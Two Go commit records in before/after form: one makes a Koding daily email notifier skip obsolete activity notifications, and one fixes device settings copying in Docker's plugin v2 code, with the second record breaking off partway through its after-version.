<commit_before>package controller

import (
	"fmt"
	mongomodels "koding/db/models"
	"koding/db/mongodb/modelhelper"
	"socialapi/config"
	socialmodels "socialapi/models"
	"socialapi/workers/emailnotifier/models"
	"socialapi/workers/helper"
	notificationmodels "socialapi/workers/notification/models"
	"time"

	"github.com/koding/logging"
	"github.com/robfig/cron"
)

const (
	DAY           = 24 * time.Hour
	TIMEFORMAT    = "20060102"
	DATEFORMAT    = "Jan 02"
	CACHEPREFIX   = "dailymail"
	RECIPIENTSKEY = "recipients"
	SCHEDULE      = "0 0 0 * * *"
)

type DailyEmailNotifierWorkerController struct {
	log      logging.Logger
	settings *models.EmailSettings
}

var cronJob *cron.Cron

func NewDailyEmailNotifierWorkerController(
	log logging.Logger,
	es *models.EmailSettings) (*DailyEmailNotifierWorkerController, error) {

	c := &DailyEmailNotifierWorkerController{
		log:      log,
		settings: es,
	}

	return c, c.initDailyEmailCron()
}

func (n *DailyEmailNotifierWorkerController) initDailyEmailCron() error {
	cronJob = cron.New()
	err := cronJob.AddFunc(SCHEDULE, n.sendDailyMails)
	if err != nil {
		return err
	}

	cronJob.Start()

	return nil
}

func (n *DailyEmailNotifierWorkerController) Shutdown() {
	cronJob.Stop()
}

func (n *DailyEmailNotifierWorkerController) sendDailyMails() {
	redisConn := helper.MustGetRedisConn()
	for {
		key := prepareRecipientsCacheKey()
		reply, err := redisConn.PopSetMember(key)
		if err != nil {
			n.log.Error("Could not fetch recipient %s", err)
			return
		}

		if reply == nil {
			n.log.Info("all daily mails are sent")
			return
		}
		accountId, err := redisConn.Int64(reply)
		if err != nil {
			n.log.Error("Could not cast recipient id: %s", err)
			continue
		}

		if err := n.prepareDailyEmail(accountId); err != nil {
			n.log.Error("error occurred: %s", err)
		}
	}
}

func (n *DailyEmailNotifierWorkerController) prepareDailyEmail(accountId int64) error {
	uc, err := models.FetchUserContact(accountId)
	if err != nil {
		return err
	}

	// notifications are disabled
	if val := uc.EmailSettings["global"]; !val {
		return nil
	}

	activityIds, err := n.getDailyActivityIds(accountId)
	if err != nil {
		return fmt.Errorf("Could not fetch activity ids: %s", err)
	}

	if len(activityIds) == 0 {
		return nil
	}

	containers := make([]*models.MailerContainer, 0)
	for _, activityId := range activityIds {
		container, err := buildContainerForDailyMail(accountId, activityId)
		if err != nil {
			n.log.Error("error occurred while sending activity: %s ", err)
			continue
		}

		containers = append(containers, container)
	}

	tp := models.NewTemplateParser()
	tp.UserContact = uc
	body, err := tp.RenderDailyTemplate(containers)
	if err != nil {
		return fmt.Errorf("an error occurred while preparing notification email: %s", err)
	}

	tg := models.NewTokenGenerator()
	tg.UserContact = uc
	tg.NotificationType = "daily"
	if err := tg.CreateToken(); err != nil {
		return fmt.Errorf("an error occurred: %s", err)
	}

	mailer := models.NewMailer()
	mailer.EmailSettings = n.settings
	mailer.UserContact = uc
	mailer.Body = body
	mailer.Subject = fmt.Sprintf("Your Koding Activity for today: %s",
		time.Now().Format(DATEFORMAT))

	if err := mailer.SendMail(); err != nil {
		return fmt.Errorf("an error occurred: %s", err)
	}

	return nil
}

func (n *DailyEmailNotifierWorkerController) getDailyActivityIds(accountId int64) ([]int64, error) {
	redisConn := helper.MustGetRedisConn()
	members, err := redisConn.GetSetMembers(prepareGetterCacheKey(accountId))
	if err != nil {
		return nil, err
	}

	activityIds := make([]int64, len(members))
	for i, member := range members {
		activityId, err := redisConn.Int64(member)
		if err != nil {
			n.log.Error("Could not get activity id: %s", err)
			continue
		}

		activityIds[i] = activityId
	}

	return activityIds, nil
}

func prepareRecipientsCacheKey() string {
	return fmt.Sprintf("%s:%s:%s:%s",
		config.Get().Environment,
		CACHEPREFIX,
		RECIPIENTSKEY,
		preparePreviousDayCacheKey())
}

func prepareGetterCacheKey(accountId int64) string {
	return fmt.Sprintf("%s:%s:%d:%s",
		config.Get().Environment,
		CACHEPREFIX,
		accountId,
		preparePreviousDayCacheKey())
}

func preparePreviousDayCacheKey() string {
	yesterday := time.Now().Unix() - 86400

	return time.Unix(int64(yesterday), 0).Format(TIMEFORMAT)
}

func buildContainerForDailyMail(accountId, activityId int64) (*models.MailerContainer, error) {
	a := notificationmodels.NewNotificationActivity()
	if err := a.ById(activityId); err != nil {
		return nil, err
	}

	nc, err := getContent(a)
	if err != nil {
		return nil, err
	}

	mc := models.NewMailerContainer()
	mc.AccountId = accountId
	mc.Activity = a
	mc.Content = nc

	if err := mc.PrepareContainer(); err != nil {
		return nil, err
	}

	return mc, nil
}

func getContent(a *notificationmodels.NotificationActivity) (*notificationmodels.NotificationContent, error) {
	if val, ok := contents[a.NotificationContentId]; ok {
		return val, nil
	}

	nc, err := a.FetchContent()
	if err != nil {
		return nil, err
	}
	contents[a.NotificationContentId] = nc

	return nc, nil
}
<commit_msg>Notification:  skip obsolete activity notifications<commit_after>package controller

import (
	"errors"
	"fmt"
	"socialapi/config"
	"socialapi/workers/emailnotifier/models"
	"socialapi/workers/helper"
	notificationmodels "socialapi/workers/notification/models"
	"time"

	"github.com/koding/logging"
	"github.com/robfig/cron"
)

const (
	DAY           = 24 * time.Hour
	TIMEFORMAT    = "20060102"
	DATEFORMAT    = "Jan 02"
	CACHEPREFIX   = "dailymail"
	RECIPIENTSKEY = "recipients"
	SCHEDULE      = "0 0 0 * * *"
)

type DailyEmailNotifierWorkerController struct {
	log      logging.Logger
	settings *models.EmailSettings
}

var ObsoleteActivity = errors.New("obsolete activity")

var (
	cronJob  *cron.Cron
	contents map[int64]*notificationmodels.NotificationContent
)

func NewDailyEmailNotifierWorkerController(
	log logging.Logger,
	es *models.EmailSettings) (*DailyEmailNotifierWorkerController, error) {

	c := &DailyEmailNotifierWorkerController{
		log:      log,
		settings: es,
	}

	contents = make(map[int64]*notificationmodels.NotificationContent)

	return c, c.initDailyEmailCron()
}

func (n *DailyEmailNotifierWorkerController) initDailyEmailCron() error {
	cronJob = cron.New()
	err := cronJob.AddFunc(SCHEDULE, n.sendDailyMails)
	if err != nil {
		return err
	}

	cronJob.Start()

	return nil
}

func (n *DailyEmailNotifierWorkerController) Shutdown() {
	cronJob.Stop()
}

func (n *DailyEmailNotifierWorkerController) sendDailyMails() {
	redisConn := helper.MustGetRedisConn()
	for {
		key := prepareRecipientsCacheKey()
		reply, err := redisConn.PopSetMember(key)
		if err != nil {
			n.log.Error("Could not fetch recipient %s", err)
			return
		}

		if reply == nil {
			n.log.Info("all daily mails are sent")
			return
		}
		accountId, err := redisConn.Int64(reply)
		if err != nil {
			n.log.Error("Could not cast recipient id: %s", err)
			continue
		}

		if err := n.prepareDailyEmail(accountId); err != nil {
			n.log.Error("error occurred: %s", err)
		}
	}
}

func (n *DailyEmailNotifierWorkerController) prepareDailyEmail(accountId int64) error {
	uc, err := models.FetchUserContact(accountId)
	if err != nil {
		return err
	}

	// notifications are disabled
	if val := uc.EmailSettings["global"]; !val {
		return nil
	}

	activityIds, err := n.getDailyActivityIds(accountId)
	if err != nil {
		return fmt.Errorf("Could not fetch activity ids: %s", err)
	}

	if len(activityIds) == 0 {
		return nil
	}

	containers := make([]*models.MailerContainer, 0)
	for _, activityId := range activityIds {
		container, err := buildContainerForDailyMail(accountId, activityId)
		if err != nil {
			if err != ObsoleteActivity {
				n.log.Error("error occurred while sending activity: %s ", err)
			}
			continue
		}

		containers = append(containers, container)
	}

	if len(containers) == 0 {
		return nil
	}

	tp := models.NewTemplateParser()
	tp.UserContact = uc
	body, err := tp.RenderDailyTemplate(containers)
	if err != nil {
		return fmt.Errorf("an error occurred while preparing notification email: %s", err)
	}

	tg := models.NewTokenGenerator()
	tg.UserContact = uc
	tg.NotificationType = "daily"
	if err := tg.CreateToken(); err != nil {
		return fmt.Errorf("an error occurred: %s", err)
	}

	mailer := models.NewMailer()
	mailer.EmailSettings = n.settings
	mailer.UserContact = uc
	mailer.Body = body
	mailer.Subject = fmt.Sprintf("Your Koding Activity for today: %s",
		time.Now().Format(DATEFORMAT))

	if err := mailer.SendMail(); err != nil {
		return fmt.Errorf("an error occurred: %s", err)
	}

	return nil
}

func (n *DailyEmailNotifierWorkerController) getDailyActivityIds(accountId int64) ([]int64, error) {
	redisConn := helper.MustGetRedisConn()
	members, err := redisConn.GetSetMembers(prepareGetterCacheKey(accountId))
	if err != nil {
		return nil, err
	}

	activityIds := make([]int64, len(members))
	for i, member := range members {
		activityId, err := redisConn.Int64(member)
		if err != nil {
			n.log.Error("Could not get activity id: %s", err)
			continue
		}

		activityIds[i] = activityId
	}

	return activityIds, nil
}

func prepareRecipientsCacheKey() string {
	return fmt.Sprintf("%s:%s:%s:%s",
		config.Get().Environment,
		CACHEPREFIX,
		RECIPIENTSKEY,
		preparePreviousDayCacheKey())
}

func prepareGetterCacheKey(accountId int64) string {
	return fmt.Sprintf("%s:%s:%d:%s",
		config.Get().Environment,
		CACHEPREFIX,
		accountId,
		preparePreviousDayCacheKey())
}

func preparePreviousDayCacheKey() string {
	yesterday := time.Now().Unix() - 86400

	return time.Unix(int64(yesterday), 0).Format(TIMEFORMAT)
}

func buildContainerForDailyMail(accountId, activityId int64) (*models.MailerContainer, error) {
	a := notificationmodels.NewNotificationActivity()
	if err := a.ById(activityId); err != nil {
		return nil, err
	}

	nc, err := getContent(a)
	if err != nil {
		return nil, err
	}

	if a.Obsolete && nc.TypeConstant != notificationmodels.NotificationContent_TYPE_COMMENT {
		return nil, ObsoleteActivity
	}

	mc := models.NewMailerContainer()
	mc.AccountId = accountId
	mc.Activity = a
	mc.Content = nc

	if err := mc.PrepareContainer(); err != nil {
		return nil, err
	}

	return mc, nil
}

func getContent(a *notificationmodels.NotificationActivity) (*notificationmodels.NotificationContent, error) {
	if val, ok := contents[a.NotificationContentId]; ok {
		return val, nil
	}

	nc, err := a.FetchContent()
	if err != nil {
		return nil, err
	}
	contents[a.NotificationContentId] = nc

	return nc, nil
}
<|endoftext|>


<commit_before>package v2

import (
	"encoding/json"
	"errors"
	"fmt"
	"os"
	"path/filepath"
	"strings"
	"sync"

	"github.com/docker/docker/api/types"
	"github.com/docker/docker/oci"
	"github.com/docker/docker/pkg/plugingetter"
	"github.com/docker/docker/pkg/plugins"
	"github.com/docker/docker/pkg/system"
	specs "github.com/opencontainers/runtime-spec/specs-go"
)

// Plugin represents an individual plugin.
type Plugin struct {
	mu                sync.RWMutex
	PluginObj         types.Plugin `json:"plugin"`
	pClient           *plugins.Client
	runtimeSourcePath string
	refCount          int
	LibRoot           string // TODO: make private
	PropagatedMount   string // TODO: make private
	Rootfs            string // TODO: make private
}

const defaultPluginRuntimeDestination = "/run/docker/plugins"

// ErrInadequateCapability indicates that the plugin did not have the requested capability.
type ErrInadequateCapability struct {
	cap string
}

func (e ErrInadequateCapability) Error() string {
	return fmt.Sprintf("plugin does not provide %q capability", e.cap)
}

func newPluginObj(name, id, tag string) types.Plugin {
	return types.Plugin{Name: name, ID: id, Tag: tag}
}

// NewPlugin creates a plugin.
func NewPlugin(name, id, runRoot, libRoot, tag string) *Plugin {
	return &Plugin{
		PluginObj:         newPluginObj(name, id, tag),
		runtimeSourcePath: filepath.Join(runRoot, id),
		LibRoot:           libRoot,
	}
}

// Restore restores the plugin
func (p *Plugin) Restore(runRoot string) {
	p.runtimeSourcePath = filepath.Join(runRoot, p.GetID())
}

// GetRuntimeSourcePath gets the Source (host) path of the plugin socket
// This path gets bind mounted into the plugin.
func (p *Plugin) GetRuntimeSourcePath() string {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.runtimeSourcePath
}

// BasePath returns the path to which all paths returned by the plugin are relative to.
// For Plugin objects this returns the host path of the plugin container's rootfs.
func (p *Plugin) BasePath() string {
	return p.Rootfs
}

// Client returns the plugin client.
func (p *Plugin) Client() *plugins.Client {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.pClient
}

// SetPClient set the plugin client.
func (p *Plugin) SetPClient(client *plugins.Client) {
	p.mu.Lock()
	defer p.mu.Unlock()

	p.pClient = client
}

// IsV1 returns true for V1 plugins and false otherwise.
func (p *Plugin) IsV1() bool {
	return false
}

// Name returns the plugin name.
func (p *Plugin) Name() string {
	name := p.PluginObj.Name
	if len(p.PluginObj.Tag) > 0 {
		// TODO: this feels hacky, maybe we should be storing the distribution reference rather than splitting these
		name += ":" + p.PluginObj.Tag
	}
	return name
}

// FilterByCap query the plugin for a given capability.
func (p *Plugin) FilterByCap(capability string) (*Plugin, error) {
	capability = strings.ToLower(capability)
	for _, typ := range p.PluginObj.Config.Interface.Types {
		if typ.Capability == capability && typ.Prefix == "docker" {
			return p, nil
		}
	}
	return nil, ErrInadequateCapability{capability}
}

// RemoveFromDisk deletes the plugin's runtime files from disk.
func (p *Plugin) RemoveFromDisk() error {
	return os.RemoveAll(p.runtimeSourcePath)
}

// InitPlugin populates the plugin object from the plugin config file.
func (p *Plugin) InitPlugin() error {
	dt, err := os.Open(filepath.Join(p.LibRoot, p.PluginObj.ID, "config.json"))
	if err != nil {
		return err
	}
	err = json.NewDecoder(dt).Decode(&p.PluginObj.Config)
	dt.Close()
	if err != nil {
		return err
	}

	p.PluginObj.Settings.Mounts = make([]types.PluginMount, len(p.PluginObj.Config.Mounts))
	copy(p.PluginObj.Settings.Mounts, p.PluginObj.Config.Mounts)
	p.PluginObj.Settings.Env = make([]string, 0, len(p.PluginObj.Config.Env))
	p.PluginObj.Settings.Devices = make([]types.PluginDevice, 0, len(p.PluginObj.Config.Linux.Devices))
	copy(p.PluginObj.Settings.Devices, p.PluginObj.Config.Linux.Devices)
	for _, env := range p.PluginObj.Config.Env {
		if env.Value != nil {
			p.PluginObj.Settings.Env = append(p.PluginObj.Settings.Env, fmt.Sprintf("%s=%s", env.Name, *env.Value))
		}
	}
	p.PluginObj.Settings.Args = make([]string, len(p.PluginObj.Config.Args.Value))
	copy(p.PluginObj.Settings.Args, p.PluginObj.Config.Args.Value)

	return p.writeSettings()
}

func (p *Plugin) writeSettings() error {
	f, err := os.Create(filepath.Join(p.LibRoot, p.PluginObj.ID, "plugin-settings.json"))
	if err != nil {
		return err
	}
	err = json.NewEncoder(f).Encode(&p.PluginObj.Settings)
	f.Close()
	return err
}

// Set is used to pass arguments to the plugin.
func (p *Plugin) Set(args []string) error {
	p.mu.Lock()
	defer p.mu.Unlock()

	if p.PluginObj.Enabled {
		return fmt.Errorf("cannot set on an active plugin, disable plugin before setting")
	}

	sets, err := newSettables(args)
	if err != nil {
		return err
	}

	// TODO(vieux): lots of code duplication here, needs to be refactored.

next:
	for _, s := range sets {
		// range over all the envs in the config
		for _, env := range p.PluginObj.Config.Env {
			// found the env in the config
			if env.Name == s.name {
				// is it settable ?
				if ok, err := s.isSettable(allowedSettableFieldsEnv, env.Settable); err != nil {
					return err
				} else if !ok {
					return fmt.Errorf("%q is not settable", s.prettyName())
				}
				// is it, so lets update the settings in memory
				updateSettingsEnv(&p.PluginObj.Settings.Env, &s)
				continue next
			}
		}

		// range over all the mounts in the config
		for _, mount := range p.PluginObj.Config.Mounts {
			// found the mount in the config
			if mount.Name == s.name {
				// is it settable ?
				if ok, err := s.isSettable(allowedSettableFieldsMounts, mount.Settable); err != nil {
					return err
				} else if !ok {
					return fmt.Errorf("%q is not settable", s.prettyName())
				}

				// it is, so lets update the settings in memory
				*mount.Source = s.value
				continue next
			}
		}

		// range over all the devices in the config
		for _, device := range p.PluginObj.Config.Linux.Devices {
			// found the device in the config
			if device.Name == s.name {
				// is it settable ?
				if ok, err := s.isSettable(allowedSettableFieldsDevices, device.Settable); err != nil {
					return err
				} else if !ok {
					return fmt.Errorf("%q is not settable", s.prettyName())
				}

				// it is, so lets update the settings in memory
				*device.Path = s.value
				continue next
			}
		}

		// found the name in the config
		if p.PluginObj.Config.Args.Name == s.name {
			// is it settable ?
			if ok, err := s.isSettable(allowedSettableFieldsArgs, p.PluginObj.Config.Args.Settable); err != nil {
				return err
			} else if !ok {
				return fmt.Errorf("%q is not settable", s.prettyName())
			}

			// it is, so lets update the settings in memory
			p.PluginObj.Settings.Args = strings.Split(s.value, " ")
			continue next
		}

		return fmt.Errorf("setting %q not found in the plugin configuration", s.name)
	}

	// update the settings on disk
	return p.writeSettings()
}

// IsEnabled returns the active state of the plugin.
func (p *Plugin) IsEnabled() bool {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.PluginObj.Enabled
}

// GetID returns the plugin's ID.
func (p *Plugin) GetID() string {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.PluginObj.ID
}

// GetSocket returns the plugin socket.
func (p *Plugin) GetSocket() string {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.PluginObj.Config.Interface.Socket
}

// GetTypes returns the interface types of a plugin.
func (p *Plugin) GetTypes() []types.PluginInterfaceType {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.PluginObj.Config.Interface.Types
}

// GetRefCount returns the reference count.
func (p *Plugin) GetRefCount() int {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.refCount
}

// AddRefCount adds to reference count.
func (p *Plugin) AddRefCount(count int) {
	p.mu.Lock()
	defer p.mu.Unlock()

	p.refCount += count
}

// Acquire increments the plugin's reference count
// This should be followed up by `Release()` when the plugin is no longer in use.
func (p *Plugin) Acquire() {
	p.AddRefCount(plugingetter.ACQUIRE)
}

// Release decrements the plugin's reference count
// This should only be called when the plugin is no longer in use, e.g. with
// via `Acquire()` or getter.Get("name", "type", plugingetter.ACQUIRE)
func (p *Plugin) Release() {
	p.AddRefCount(plugingetter.RELEASE)
}

// InitSpec creates an OCI spec from the plugin's config.
func (p *Plugin) InitSpec(s specs.Spec) (*specs.Spec, error) {
	s.Root = specs.Root{
		Path:     p.Rootfs,
		Readonly: false, // TODO: all plugins should be readonly? settable in config?
	}

	userMounts := make(map[string]struct{}, len(p.PluginObj.Settings.Mounts))
	for _, m := range p.PluginObj.Settings.Mounts {
		userMounts[m.Destination] = struct{}{}
	}

	if err := os.MkdirAll(p.runtimeSourcePath, 0755); err != nil {
		return nil, err
	}

	mounts := append(p.PluginObj.Config.Mounts, types.PluginMount{
		Source:      &p.runtimeSourcePath,
		Destination: defaultPluginRuntimeDestination,
		Type:        "bind",
		Options:     []string{"rbind", "rshared"},
	})

	if p.PluginObj.Config.Network.Type != "" {
		// TODO: if net == bridge, use libnetwork controller to create a new plugin-specific bridge, bind mount /etc/hosts and /etc/resolv.conf look at the docker code (allocateNetwork, initialize)
		if p.PluginObj.Config.Network.Type == "host" {
			oci.RemoveNamespace(&s, specs.NamespaceType("network"))
		}
		etcHosts := "/etc/hosts"
		resolvConf := "/etc/resolv.conf"
		mounts = append(mounts,
			types.PluginMount{
				Source:      &etcHosts,
				Destination: etcHosts,
				Type:        "bind",
				Options:     []string{"rbind", "ro"},
			},
			types.PluginMount{
				Source:      &resolvConf,
				Destination: resolvConf,
				Type:        "bind",
				Options:     []string{"rbind", "ro"},
			})
	}

	for _, mnt := range mounts {
		m := specs.Mount{
			Destination: mnt.Destination,
			Type:        mnt.Type,
			Options:     mnt.Options,
		}
		if mnt.Source == nil {
			return nil, errors.New("mount source is not specified")
		}
		m.Source = *mnt.Source
		s.Mounts = append(s.Mounts, m)
	}

	for i, m := range s.Mounts {
		if strings.HasPrefix(m.Destination, "/dev/") {
			if _, ok := userMounts[m.Destination]; ok {
				s.Mounts = append(s.Mounts[:i], s.Mounts[i+1:]...)
			}
		}
	}

	if p.PluginObj.Config.PropagatedMount != "" {
		p.PropagatedMount = filepath.Join(p.Rootfs, p.PluginObj.Config.PropagatedMount)
		s.Linux.RootfsPropagation = "rshared"
	}

	if p.PluginObj.Config.Linux.DeviceCreation {
		rwm := "rwm"
		s.Linux.Resources.Devices = []specs.DeviceCgroup{{Allow: true, Access: &rwm}}
	}
	for _, dev := range p.PluginObj.Settings.Devices {
		path := *dev.Path
		d, dPermissions, err := oci.DevicesFromPath(path, path, "rwm")
		if err != nil {
			return nil, err
		}
		s.Linux.Devices = append(s.Linux.Devices, d...)
		s.Linux.Resources.Devices = append(s.Linux.Resources.Devices, dPermissions...)
	}

	envs := make([]string, 1, len(p.PluginObj.Settings.Env)+1)
	envs[0] = "PATH=" + system.DefaultPathEnv
	envs = append(envs, p.PluginObj.Settings.Env...)

	args := append(p.PluginObj.Config.Entrypoint, p.PluginObj.Settings.Args...)
	cwd := p.PluginObj.Config.Workdir
	if len(cwd) == 0 {
		cwd = "/"
	}
	s.Process.Terminal = false
	s.Process.Args = args
	s.Process.Cwd = cwd
	s.Process.Env = envs

	s.Process.Capabilities = append(s.Process.Capabilities, p.PluginObj.Config.Linux.Capabilities...)

	return &s, nil
}
<commit_msg>fix devices in plugins<commit_after>package v2

import (
	"encoding/json"
	"errors"
	"fmt"
	"os"
	"path/filepath"
	"strings"
	"sync"

	"github.com/docker/docker/api/types"
	"github.com/docker/docker/oci"
	"github.com/docker/docker/pkg/plugingetter"
	"github.com/docker/docker/pkg/plugins"
	"github.com/docker/docker/pkg/system"
	specs "github.com/opencontainers/runtime-spec/specs-go"
)

// Plugin represents an individual plugin.
type Plugin struct {
	mu                sync.RWMutex
	PluginObj         types.Plugin `json:"plugin"`
	pClient           *plugins.Client
	runtimeSourcePath string
	refCount          int
	LibRoot           string // TODO: make private
	PropagatedMount   string // TODO: make private
	Rootfs            string // TODO: make private
}

const defaultPluginRuntimeDestination = "/run/docker/plugins"

// ErrInadequateCapability indicates that the plugin did not have the requested capability.
type ErrInadequateCapability struct {
	cap string
}

func (e ErrInadequateCapability) Error() string {
	return fmt.Sprintf("plugin does not provide %q capability", e.cap)
}

func newPluginObj(name, id, tag string) types.Plugin {
	return types.Plugin{Name: name, ID: id, Tag: tag}
}

// NewPlugin creates a plugin.
func NewPlugin(name, id, runRoot, libRoot, tag string) *Plugin {
	return &Plugin{
		PluginObj:         newPluginObj(name, id, tag),
		runtimeSourcePath: filepath.Join(runRoot, id),
		LibRoot:           libRoot,
	}
}

// Restore restores the plugin
func (p *Plugin) Restore(runRoot string) {
	p.runtimeSourcePath = filepath.Join(runRoot, p.GetID())
}

// GetRuntimeSourcePath gets the Source (host) path of the plugin socket
// This path gets bind mounted into the plugin.
func (p *Plugin) GetRuntimeSourcePath() string {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.runtimeSourcePath
}

// BasePath returns the path to which all paths returned by the plugin are relative to.
// For Plugin objects this returns the host path of the plugin container's rootfs.
func (p *Plugin) BasePath() string {
	return p.Rootfs
}

// Client returns the plugin client.
func (p *Plugin) Client() *plugins.Client {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.pClient
}

// SetPClient set the plugin client.
func (p *Plugin) SetPClient(client *plugins.Client) {
	p.mu.Lock()
	defer p.mu.Unlock()

	p.pClient = client
}

// IsV1 returns true for V1 plugins and false otherwise.
func (p *Plugin) IsV1() bool {
	return false
}

// Name returns the plugin name.
func (p *Plugin) Name() string {
	name := p.PluginObj.Name
	if len(p.PluginObj.Tag) > 0 {
		// TODO: this feels hacky, maybe we should be storing the distribution reference rather than splitting these
		name += ":" + p.PluginObj.Tag
	}
	return name
}

// FilterByCap query the plugin for a given capability.
func (p *Plugin) FilterByCap(capability string) (*Plugin, error) {
	capability = strings.ToLower(capability)
	for _, typ := range p.PluginObj.Config.Interface.Types {
		if typ.Capability == capability && typ.Prefix == "docker" {
			return p, nil
		}
	}
	return nil, ErrInadequateCapability{capability}
}

// RemoveFromDisk deletes the plugin's runtime files from disk.
func (p *Plugin) RemoveFromDisk() error {
	return os.RemoveAll(p.runtimeSourcePath)
}

// InitPlugin populates the plugin object from the plugin config file.
func (p *Plugin) InitPlugin() error {
	dt, err := os.Open(filepath.Join(p.LibRoot, p.PluginObj.ID, "config.json"))
	if err != nil {
		return err
	}
	err = json.NewDecoder(dt).Decode(&p.PluginObj.Config)
	dt.Close()
	if err != nil {
		return err
	}

	p.PluginObj.Settings.Mounts = make([]types.PluginMount, len(p.PluginObj.Config.Mounts))
	copy(p.PluginObj.Settings.Mounts, p.PluginObj.Config.Mounts)
	p.PluginObj.Settings.Devices = make([]types.PluginDevice, len(p.PluginObj.Config.Linux.Devices))
	copy(p.PluginObj.Settings.Devices, p.PluginObj.Config.Linux.Devices)
	p.PluginObj.Settings.Env = make([]string, 0, len(p.PluginObj.Config.Env))
	for _, env := range p.PluginObj.Config.Env {
		if env.Value != nil {
			p.PluginObj.Settings.Env = append(p.PluginObj.Settings.Env, fmt.Sprintf("%s=%s", env.Name, *env.Value))
		}
	}
	p.PluginObj.Settings.Args = make([]string, len(p.PluginObj.Config.Args.Value))
	copy(p.PluginObj.Settings.Args, p.PluginObj.Config.Args.Value)

	return p.writeSettings()
}

func (p *Plugin) writeSettings() error {
	f, err := os.Create(filepath.Join(p.LibRoot, p.PluginObj.ID, "plugin-settings.json"))
	if err != nil {
		return err
	}
	err = json.NewEncoder(f).Encode(&p.PluginObj.Settings)
	f.Close()
	return err
}

// Set is used to pass arguments to the plugin.
func (p *Plugin) Set(args []string) error {
	p.mu.Lock()
	defer p.mu.Unlock()

	if p.PluginObj.Enabled {
		return fmt.Errorf("cannot set on an active plugin, disable plugin before setting")
	}

	sets, err := newSettables(args)
	if err != nil {
		return err
	}

	// TODO(vieux): lots of code duplication here, needs to be refactored.

next:
	for _, s := range sets {
		// range over all the envs in the config
		for _, env := range p.PluginObj.Config.Env {
			// found the env in the config
			if env.Name == s.name {
				// is it settable ?
				if ok, err := s.isSettable(allowedSettableFieldsEnv, env.Settable); err != nil {
					return err
				} else if !ok {
					return fmt.Errorf("%q is not settable", s.prettyName())
				}
				// is it, so lets update the settings in memory
				updateSettingsEnv(&p.PluginObj.Settings.Env, &s)
				continue next
			}
		}

		// range over all the mounts in the config
		for _, mount := range p.PluginObj.Config.Mounts {
			// found the mount in the config
			if mount.Name == s.name {
				// is it settable ?
				if ok, err := s.isSettable(allowedSettableFieldsMounts, mount.Settable); err != nil {
					return err
				} else if !ok {
					return fmt.Errorf("%q is not settable", s.prettyName())
				}

				// it is, so lets update the settings in memory
				*mount.Source = s.value
				continue next
			}
		}

		// range over all the devices in the config
		for _, device := range p.PluginObj.Config.Linux.Devices {
			// found the device in the config
			if device.Name == s.name {
				// is it settable ?
				if ok, err := s.isSettable(allowedSettableFieldsDevices, device.Settable); err != nil {
					return err
				} else if !ok {
					return fmt.Errorf("%q is not settable", s.prettyName())
				}

				// it is, so lets update the settings in memory
				*device.Path = s.value
				continue next
			}
		}

		// found the name in the config
		if p.PluginObj.Config.Args.Name == s.name {
			// is it settable ?
			if ok, err := s.isSettable(allowedSettableFieldsArgs, p.PluginObj.Config.Args.Settable); err != nil {
				return err
			} else if !ok {
				return fmt.Errorf("%q is not settable", s.prettyName())
			}

			// it is, so lets update the settings in memory
			p.PluginObj.Settings.Args = strings.Split(s.value, " ")
			continue next
		}

		return fmt.Errorf("setting %q not found in the plugin configuration", s.name)
	}

	// update the settings on disk
	return p.writeSettings()
}

// IsEnabled returns the active state of the plugin.
func (p *Plugin) IsEnabled() bool {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.PluginObj.Enabled
}

// GetID returns the plugin's ID.
func (p *Plugin) GetID() string {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.PluginObj.ID
}

// GetSocket returns the plugin socket.
func (p *Plugin) GetSocket() string {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.PluginObj.Config.Interface.Socket
}

// GetTypes returns the interface types of a plugin.
func (p *Plugin) GetTypes() []types.PluginInterfaceType {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.PluginObj.Config.Interface.Types
}

// GetRefCount returns the reference count.
func (p *Plugin) GetRefCount() int {
	p.mu.RLock()
	defer p.mu.RUnlock()

	return p.refCount
}

// AddRefCount adds to reference count.
func (p *Plugin) AddRefCount(count int) {
	p.mu.Lock()
	defer p.mu.Unlock()

	p.refCount += count
}

// Acquire increments the plugin's reference count
// This should be followed up by `Release()` when the plugin is no longer in use.
func (p *Plugin) Acquire() {
	p.AddRefCount(plugingetter.ACQUIRE)
}

// Release decrements the plugin's reference count
// This should only be called when the plugin is no longer in use, e.g. with
// via `Acquire()` or getter.Get("name", "type", plugingetter.ACQUIRE)
func (p *Plugin) Release() {
	p.AddRefCount(plugingetter.RELEASE)
}

// InitSpec creates an OCI spec from the plugin's config.
func (p *Plugin) InitSpec(s specs.Spec) (*specs.Spec, error) {
	s.Root = specs.Root{
		Path:     p.Rootfs,
		Readonly: false, // TODO: all plugins should be readonly? settable in config?
	}

	userMounts := make(map[string]struct{}, len(p.PluginObj.Settings.Mounts))
	for _, m := range p.PluginObj.Settings.Mounts {
		userMounts[m.Destination] = struct{}{}
	}

	if err := os.MkdirAll(p.runtimeSourcePath, 0755); err != nil {
		return nil, err
	}

	mounts := append(p.PluginObj.Config.Mounts, types.PluginMount{
		Source:      &p.runtimeSourcePath,
		Destination: defaultPluginRuntimeDestination,
		Type:        "bind",
		Options:     []string{"rbind", "rshared"},
	})

	if p.PluginObj.Config.Network.Type != "" {
		// TODO: if net == bridge, use libnetwork controller to create a new plugin-specific bridge, bind mount /etc/hosts and /etc/resolv.conf look at the docker code (allocateNetwork, initialize)
		if p.PluginObj.Config.Network.Type == "host" {
			oci.RemoveNamespace(&s, specs.NamespaceType("network"))
		}
		etcHosts := "/etc/hosts"
		resolvConf := "/etc/resolv.conf"
		mounts = append(mounts,
			types.PluginMount{
				Source:      &etcHosts,
				Destination: etcHosts,
				Type:        "bind",
				Options:     []string{"rbind", "ro"},
			},
			types.PluginMount{
				Source:      &resolvConf,
				Destination: resolvConf,
				Type:        "bind",
				Options:     []string{"rbind", "ro"},
			})
	}

	for _, mnt := range mounts {
		m := specs.Mount{
			Destination: mnt.Destination,
			Type:        mnt.Type,
			Options:     mnt.Options,
		}
		if mnt.Source == nil {
